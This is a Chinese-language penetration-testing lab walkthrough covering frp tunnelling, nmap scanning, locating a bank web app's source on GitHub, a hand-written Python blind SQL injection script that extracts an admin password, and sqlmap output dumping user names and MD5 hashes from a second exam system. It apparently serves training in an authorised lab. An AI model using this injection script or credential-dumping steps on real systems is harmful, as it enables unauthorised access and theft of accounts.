环境搭建
1.项目介绍:
本次项目模拟渗透测试人员在授权的情况下,对目标进行渗透测试,从外网打点到内网横向渗透,最终获取整个内网权限。本次项目属于三层代理内网穿透,会学习到各种内网穿透技术,cobalt strike在内网中各种横行方法,也会学习到在工具利用失败的情况下,手写exp获取边界突破点进入内网,详细介绍外网各种打点方法,学习到行业流行的内网渗透测试办法,对个人提升很有帮助。
2.VPS映射
1.将ip映射到公网。在公网vps使用配置frp工具的frps.ini 运行frps.exe -c frps.ini
在web1上配置frpc.ini 运行 frpc.exe -c frp.ini
成功访问到环境
信息收集
1.端口探测
使用nmap进行端口探测,发现4444、5003、8088、8899、8878端口开放。
然后查看其详细信息。
2.网站源代码查找
发现有一个网上银行系统。使用弱口令和暴力破解,没有爆破出弱口令用户。
然后就在github试试运气,发现了源码。
源码地址:
https://github.com/amateur-RD/netBank-System
发现了一个数据库文件,有一些普通用户和管理员用户的账户和密码。
3.SQL注入
然后进行登录测试,发现存在sql注入漏洞
网上银行系统Hsql注入漏洞
使用sqlmap不能进行跑出用户名和密码。
4.编写脚本进行sql注入
#coding:utf-8 import requests password="" url="http://x.x.x.x:8878/admin/login" payload="0123456789abcdefghijklmnopqrstuvwxyz" password="" for i in range(1,20): for j in payload: exp = "admin' and(select substring(password,%s,1) from Admin) like '%s' or '1'='" %(i,j) print("正在注入") data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1} req = requests.post(url=url, data=data); if "密码不正确" in req.text: password+=j break print(password)
成功跑出密码。然后进行登录。
登录之后,寻找文件上传或者可以获取到webshell的地方,发现没有可利用点。
5.tomexam SQL注入漏洞
在另一个地址处,发现可以注册用户。然后注册用户进行登录。
登录之后发现,某处存在sql注入。
使用sqlmap进行获取用户信息。
| 1 | 1 | 1399999999 | 1 | 超级管理员 | admin | admin | 17D03DA6474CE8BEB13B01E79F789E63 | 2022-04-09 00:14:08 | 301 | | 6 | 2 | | 1 | | eu3 | eu3 | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14
成功抓到了管理员用户和密码,然后使用md5进行解密。
成功进行登录。登录之后没有找到可getshell的地方。